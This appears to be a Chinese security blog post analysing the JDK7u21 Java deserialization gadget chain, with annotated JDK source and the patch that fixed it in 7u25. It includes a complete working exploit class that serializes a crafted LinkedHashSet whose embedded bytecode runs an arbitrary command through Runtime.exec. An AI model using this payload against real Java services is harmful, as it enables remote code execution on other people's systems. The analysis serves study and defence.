/**
* 若传入对象是一个由 Proxy 生成的动态代理,且其 InvocationHandler
* 为 AnnotationInvocationHandler 类型,则返回该 handler;
* 否则返回 null。
*/
private AnnotationInvocationHandler asOneOfUs(Object o) {
// 判断 o 的 Class 是否为动态代理类
if (Proxy.isProxyClass(o.getClass())) {
// 取出该动态代理背后的调用处理器
InvocationHandler handler = Proxy.getInvocationHandler(o);
// 仅当处理器类型匹配时,才认为“是我们这套实现”的代理
if (handler instanceof AnnotationInvocationHandler)
return (AnnotationInvocationHandler) handler;
}
// 非动态代理或处理器类型不匹配 → 返回 null
return null; // 👈 equalsImpl 的参数 o 不是 AnnotationInvocationHandler 的实现类代理的对象,返回 null
}

/**
* 懒加载并缓存此注解类型的成员方法(annotation 的元素方法)。
* 获取这些方法开销较大,且只有在 equals 比较时才需要,故延迟初始化。
*/
private Method[] getMemberMethods() {
// 双检省略:这里用的是简单的“第一次用再初始化”的懒加载
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
// 1) 取出注解类型声明的所有方法(即各个注解元素)
final Method[] mm = type.getDeclaredMethods(); // 👈 获取 type 的所有方法
// 2) 校验方法是否符合注解规范(无参、可赋默认值、返回类型受限等)
validateAnnotationMethods(mm);
// 3) 提升可访问性,避免后续反射调用受限
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}

/**
* 动态代理的 equals(Object o) 的具体实现:
* 1) 先做同一性/类型检查
* 2) 再逐个比较所有注解成员方法对应的取值是否相等
*/
private Boolean equalsImpl(Object o) {
// 同一对象 → 相等
if (o == this)
return true;

// 类型不兼容:对方不是该注解类型的实例 → 不相等
if (!type.isInstance(o))
return false;

// 逐个比较每个注解元素(成员方法)的取值
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();

// 我方(当前代理)对应成员的值,来源于 memberValues Map
Object ourValue = memberValues.get(member);

// 对方的该成员值
Object hisValue = null;

// 若对方也是由 AnnotationInvocationHandler 驱动的动态代理,
// 可直接读其内部的 memberValues,避免反射调用开销/副作用
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
// 否则走常规反射:调用对方实例的该成员方法取值
hisValue = memberMethod.invoke(o); // 📌 对参数 o 调用 types 中的所有方法
} catch (InvocationTargetException e) {
// 对方方法执行异常 → 视为不相等(保守处理)
return false;
} catch (IllegalAccessException e) {
// 理论上不应发生(前面已 setAccessible),若发生则属于断言级错误
throw new AssertionError(e);
}
}

// 使用专门的值比较逻辑(支持数组深度相等、原始类型等)
if (!memberValueEquals(ourValue, hisValue))
return false;
}
// 所有成员值都相等 → 注解实例相等
return true;
}

因此我们不难想到如果构造一个 AnnotationInvocationHandler 使得其 typeTemplates.class 然后将 TemplatesImpl 对象传入便会调用它的 getOutputProperties 方法实现恶意字节码加载。

1
2
3
4
5
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
// [...]
this.type = type; // 👈 type 设置为 Templates.class
this.memberValues = memberValues;
}

注意

type 需要设置为 Templates.class 而不是具体的 TemplatesImpl.class

这是因为 Templates 作为接口只定义了 newTransformergetOutputProperties 方法:

1
2
3
4
5
6
public interface Templates {

Transformer newTransformer() throws TransformerConfigurationException;

Properties getOutputProperties();
}

因此 Templates.class.getDeclaredMethods() 返回的方法中第一个方法只能是 newTransformergetOutputProperties,这两个方法都能触发 TemplatesImpl 的任意字节码加载的利用链。

TemplatesImpl.class 返回的第一个方法大概率不能触发 TemplatesImpl 的任意字节码加载的利用链,而是报错导致 equalsImpl 函数提前返回,无法完成利用。

1
2
3
4
5
6
7
8
9
10
try {
// 否则走常规反射:调用对方实例的该成员方法取值
hisValue = memberMethod.invoke(o); // 📌 对参数 o 调用 types 中的所有方法
} catch (InvocationTargetException e) {
// 对方方法执行异常 → 视为不相等(保守处理)
return false; // ❌ 直接返回无法调用后续方法完成利用
} catch (IllegalAccessException e) {
// 理论上不应发生(前面已 setAccessible),若发生则属于断言级错误
throw new AssertionError(e);
}

equalsImpl 方法可以通过 AnnotationInvocationHandler#invoke 方法调用。也就是说如果我们使用 AnnotationInvocationHandler#invoke 代理一个类,然后调用这个类的 equals 方法就可以触发 AnnotationInvocationHandler#equalsImpl 方法调用,且传入的参数是 equals 的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 动态代理的统一入口:当代理对象上的任意方法被调用时,都会回调到这里。
* 这里展示了对 Object/Annotation 标准方法的特殊处理分支——equals。
*/
public Object invoke(Object proxy, Method method, Object[] args) {
// 当前被调用的方法名(如 "equals"、"hashCode"、"toString" 等)
String member = method.getName();
// 方法参数类型列表,用于精确匹配重载签名(避免仅靠方法名造成误判)
Class<?>[] paramTypes = method.getParameterTypes();

// 处理 Object 与 Annotation 的“标准方法”
// 分支一:equals(Object)
// 条件:方法名为 "equals",参数个数为 1,且参数类型正是 Object.class
if ("equals".equals(member) && paramTypes.length == 1 &&
paramTypes[0] == Object.class) {
// 委托给自定义的 equals 实现(见 equalsImpl),返回 Boolean(自动装箱)
return equalsImpl(args[0]);
}

// [...]
}

HashSet 内部实际上是通过 HashMap 来实现的,我们存入 HashSet 中的数据实际上是存入内部成员 private transient HashMap<E,Object> map; 的键中,而对应的值设为一个 Object 类型的对象来占位。因此在 HashSet#readObject 函数中我们会把 HashSet 存储的元素逐个加到 HashMap 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
* 自定义反序列化逻辑:从 ObjectInputStream 中恢复 HashSet/LinkedHashSet 的内部状态。
* 说明:
* - HashSet 的底层是一个 HashMap,值部分用一个哑元(PRESENT)占位;
* - LinkedHashSet 则用 LinkedHashMap 以保持插入顺序。
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {

// 1) 读取“默认可序列化字段”,把非 transient / 非 static 的成员恢复出来
// (例如:HashSet 的一些标志位、负载因子字段等由默认机制处理)
s.defaultReadObject();

// 2) 按旧版本序列化格式读取底层表的容量与负载因子
int capacity = s.readInt(); // 底层表容量
float loadFactor = s.readFloat(); // 负载因子

// 3) 根据具体运行时类型选择底层 Map:
// - 若 this 实际上是 LinkedHashSet,则使用 LinkedHashMap(保持插入顺序)
// - 否则使用普通 HashMap
map = (((HashSet)this) instanceof LinkedHashSet)
? new LinkedHashMap<E,Object>(capacity, loadFactor)
: new HashMap<E,Object>(capacity, loadFactor);

// 4) 读取元素个数 size
int size = s.readInt();

// 5) 按序读取每一个元素,并放入到底层 Map 中(值统一使用占位符 PRESENT)
// 注意:对每个元素调用 s.readObject(),若元素类型自定义了 readObject,
// 此处会执行其反序列化代码(可能触发用户代码)。
for (int i = 0; i < size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // HashSet 用“键=元素,值=PRESENT”的方式存储
}
}

HashMap 中会计算哈希值找到对应的桶然后逐个比较去重,最后放到 HashMap 中。这里涉及到了 equals 方法的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
final int hash(Object k) {
int h = 0;

// [...]

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key); // 👈 计算要存入的 key 的哈希
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
// 📌 如果与 set 中存在的元素的哈希值相等则会调用 key.equals 与其比较
// 这里需要让 key 为 AnnotationInvocationHandler
// 原本的元素的键为 TemplatesImpl
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

因此如果我们:

  • HashSet 中放一个 TemplatesImpl 对象再放一个 AnnotationInvocationHandler 代理的对象( AnnotationInvocationHandler 代理的对象是后加入,这里为了保证顺序可以使用 LinkedHashSet 代替 HashSet);
  • 并且恰巧这两个对象的哈希值相等

那么调用 equals 方法就会触发前面介绍的利用链。

所以现在的问题是如何构造一个 AnnotationInvocationHandler 代理的对象使得其哈希值与 TemplatesImpl 对象相等。

由于 TemplatesImpl 没有显式实现 hashCode() 方法,因此它将继承自 java.lang.Object 类中的默认实现。在这种情况下,调用 hashCode() 方法返回的是该对象的内存地址经过哈希计算后得到的一个整数值。也就是说这个哈希值我们不可控制。

但是我们可以想办法构造一个 AnnotationInvocationHandler 代理的对象使得它的哈希值总是与 TemplatesImpl 对象的哈希值相等。

AnnotationInvocationHandler 代理的对象hashCode 方法实际上调用的是 AnnotationInvocationHandler#invoke 进而会调用到 AnnotationInvocationHandler#hashCodeImpl

这个方法会遍历 memberValues 这个 Map 中的每个 keyvalue,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。因此我们只要让 value同一个 TemplatesImplkey 的哈希值为 0 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}

/**
* Computes hashCode of a member value (in "dynamic proxy return form")
*/
private static int memberValueHashCode(Object value) {
Class<?> type = value.getClass();
if (!type.isArray()) // primitive, string, class, enum const,
// or annotation
return value.hashCode();

// [...]
}

网上通常的做法是枚举十六进制数字对应的字符串,最终得到 f5a5a608 这个字符串。但实际上根据字符串的哈希计算方式很容易就构造出 \0 这一字符串。

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.misc.BASE64Decoder;

public class JDK7u21 {
public static Object getObject(String cmd) throws Exception {
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getEvilClass(cmd)});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map map = new HashMap();

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
// Templates.class => AnnotationInvocationHandler#type => 要触发的方法
// map => AnnotationInvocationHandler#memberValues => 确保哈希一致
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);

// 随便代理一个接口,比如 Serializable
Serializable proxy = (Serializable) Proxy.newProxyInstance(Serializable.class.getClassLoader(), new Class[]{Serializable.class}, handler);

HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

map.put("\0", templates);

System.out.println(proxy.hashCode());
System.out.println(templates.hashCode());

return set;
}

public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

CtConstructor clinit = ctClass.makeClassInitializer();
clinit.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

ctClass.getClassFile().setMajorVersion(49);

// 设置父类为 AbstractTranslet
CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

提示

由于 JDK 版本较低,生成恶意类的 javassist 库需要选择一个低版本的。,否则会因为 JAR 包中类的 Java 版本过高报错。

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.18.2-GA</version>
</dependency>

修复情况

JDK 7u25(1.7.0_25) 引入的加固补丁(OpenJDK 变更集 0ca6cbe3f350,问题编号 8001309 “Better handling of annotation interfaces”):从 7u25 起,AnnotationInvocationHandler.readObject 在遇到非注解类型时会抛出 InvalidObjectException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
--- a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Fri Mar 22 15:40:16 2013 -0400
+++ b/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Mon Mar 25 12:41:55 2013 +0400
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2003, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
@@ -337,12 +337,15 @@
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; all bets are off
- return;
+ // Class is no longer an annotation type; time to punch out
+ throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

+
+ // If there are annotation members without values, that
+ // situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);

这导致我们设置 AnnotationInvocationHandler#typejavax.xml.transform.Templates.class 这一步失效。

  • Title: Java 反序列化
  • Author: sky123
  • Created at : 2025-09-09 00:44:06
  • Updated at : 2025-10-11 11:38:14
  • Link: https://skyi23.github.io/2025/09/09/Java 反序列化/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments